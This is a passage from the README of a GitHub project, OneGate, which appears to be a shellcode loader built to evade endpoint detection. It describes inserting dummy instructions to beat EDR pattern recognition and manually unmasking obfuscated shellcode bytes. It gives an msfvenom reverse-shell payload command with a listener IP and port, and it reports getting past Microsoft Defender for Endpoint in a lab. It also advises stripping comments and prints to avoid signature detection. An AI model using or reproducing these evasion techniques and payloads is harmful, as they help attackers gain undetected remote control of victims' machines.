44 | To defeat any register based pattern recognition which may be used by EDRs, at random intervals OneGate generates a random set of instructions and executes them - these are referred to as dummy instructions. The current rate is 2% but this can be modified easily. A stable of instructions are held in the `instructions[][]` array. It will select a random number of instructions to use for each given dummy set, so that the number of dummy instructions is not always the same. Before executing the dummy instructions, it saves the thread context of the shellcode execution. This enables the dummy instructions to modify them at will. The tread context is then restored and execution of the shellcode continues as if nothing happened.
45 |
46 | Currently the `instructions[][]` array only takes instructions which are three bytes in length. There is also a hardcoded value in the `CreateDummy()` function which only allows it to deal with three byte instructions. The size of the array and the hard coded instructions can be changed at will to avoid signature based detections, however no testing has been conducted with instructions larger than 3 bytes in length. At the moment the dummy instructions just modify values in the registers using things like `inc`, `sub`, `xor` etc.
47 |
48 | OneGate takes a **LOOOOONG** time to run payloads, so be patient after you launch it. On my VM with very little system resources it takes about 3 minutes to spawn a calculator and 20 minutes to get a reverse shell connection. In the lab environment (see Evasion) it took about 6 minutes to get a reverse shell.
49 |
50 | There are two `.c` files in the Executor project folder. One is an example with running calc.exe and the other is a reverse shell. You will need to set one as "Exclude From Project" otherwise it will not compile.
51 |
52 | ### Shortfall of deobfusaction technique
53 |
54 | One shortfall of this technique is that unless the RIP points to a particular instruction it will not be deobfuscated. For example the last few instructions of `msfvenom -p windows/x64/exec CMD=calc.exe` are:
55 | ```
56 | 106: 41 89 da mov r10d,ebx
57 | 109: ff d5 call rbp
58 | 10b: 63 61 6c movsxd esp,DWORD PTR [rcx+0x6c]
59 | 10e: 63 00 movsxd eax,DWORD PTR [rax]
60 | ```
61 |
62 | Ordinarly `call rbp` would trigger the two instructions after it (these spell out "calc" which tells it what to run), however as these are still obfuscated when `call rbp` is executed nothing happens. Therefore we need to unmask these instructions manually. At present it is done in a lazy way - it just reveals these instructions at all times. Two special arrays are created:
63 | ```
64 | const unsigned char second_last[] = { 0x63, 0x61, 0x6c };
65 | const unsigned char last[] = { 0x63, 0x00 };
66 | ```
67 |
68 | One the first run of the vectored exception handler it writes them to the allocated memory space:
69 | ```
70 | memcpy((DWORD64)baseAddress + 0x10B, second_last, 3);
71 | memcpy((DWORD64)baseAddress + 0x10E, last, 2);
72 | ```
73 |
74 | These are not overwritten as only instructions that are deobfuscated are overwritten again.
75 |
76 | A better way to handle this could be just in time deobfuscation, where there is a check to see if the RIP is at offset `109` and then have it deobfuscate 7 bytes as opposed to only 2. This has not been implemented here because as mentioned above this is a proof of concept.
77 |
78 | ## Evasion
79 |
80 | This was tested in [Altered Security](https://www.alteredsecurity.com/)'s lab environment (shout out to Nikhil for letting me test it on there) which had a machine running Microsoft Defender for Endpoint (Microsoft's EDR solution). OneGate was infiltrated to the target machine and run from disk without using any sort of in memory PE loading techniques. Using the payload `msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.91 LPORT=9000` built on `notepad.exe` a reverse connection was successfully established to the listener machine.
81 |
82 |
83 |
84 | An analysis of the MDE dashboard shows only one detection by MDE which had to do with a compromised account and the dumping of a SAM hive (this was a shared environment so other people were doing other things). This detection was present prior to running OneGate. Of interest is the fact that MDE had flagged the `jumpone$` account shown in the picture below as being compromised - this was the same account used to sign in to deploy OneGate on the target machine meaning that even with a flagged account MDE did not detect the execution of the reverse shell.
85 |
86 |
87 |
88 |
89 |
90 | While not definitive, it is believed that the fact that OneGate takes so long to run the shellcode helps with defeating AV/EDR sandboxing. Seeing as the AV/EDR cannot run OneGate in a sandbox forever, it runs it for however long it can and determines that nothing malicious is going on and lets it run in the production environment. The prevents the need for sandbox detection and evasion techniques to have to built into the loader which may be detected.
91 |
92 | ### Other EDRs
93 |
94 | If anyone gets the opportunity to test this against other EDRs please drop me a line and let me know how it goes. I really wanted to see how this would go up against Crowdstrike especially, but wasn't able to get access to an environment where it was avialable.
95 |
96 | ### BIG NOTE
97 | Currently OneGate prints a lot of things that I had in there for debugging purposes. I have left these prints in so that you can see what OneGate is doing if you decide to single step it through a debugger. I have also left comments in there so that you (and I when I come back to it six months later) can hopefully make sense of my code.
98 |
99 | In order to get it past defences, **remove all prints and comments from the code** (you can leave error printing). With everything still in there even good old basic Windows Defender will trigger a signature based detection as soon as it touches disk (I think this has to do with the comment containing the string "msfvenom").
100 |
101 |
102 | ## Known Issues
103 |
104 | OneGate (the executor part) will randomly throw an access violation error. I think this has something to do with the random allocation of the payload starting point and the location of the address where any dummy code is held but I have not been able to figure it out yet. If you get an access violation error, just run OneGate again.
105 |
--------------------------------------------------------------------------------
/pictures/2_JS188188658-1141921000.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b0bd0g/OneGate/52af8762128b832d758930ac2c2e848abb44fb8c/pictures/2_JS188188658-1141921000.jpg
--------------------------------------------------------------------------------
/pictures/constructor.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b0bd0g/OneGate/52af8762128b832d758930ac2c2e848abb44fb8c/pictures/constructor.png
--------------------------------------------------------------------------------
/pictures/mde_dashboard.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b0bd0g/OneGate/52af8762128b832d758930ac2c2e848abb44fb8c/pictures/mde_dashboard.png
--------------------------------------------------------------------------------
/pictures/rev_shell_connect.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/b0bd0g/OneGate/52af8762128b832d758930ac2c2e848abb44fb8c/pictures/rev_shell_connect.png
--------------------------------------------------------------------------------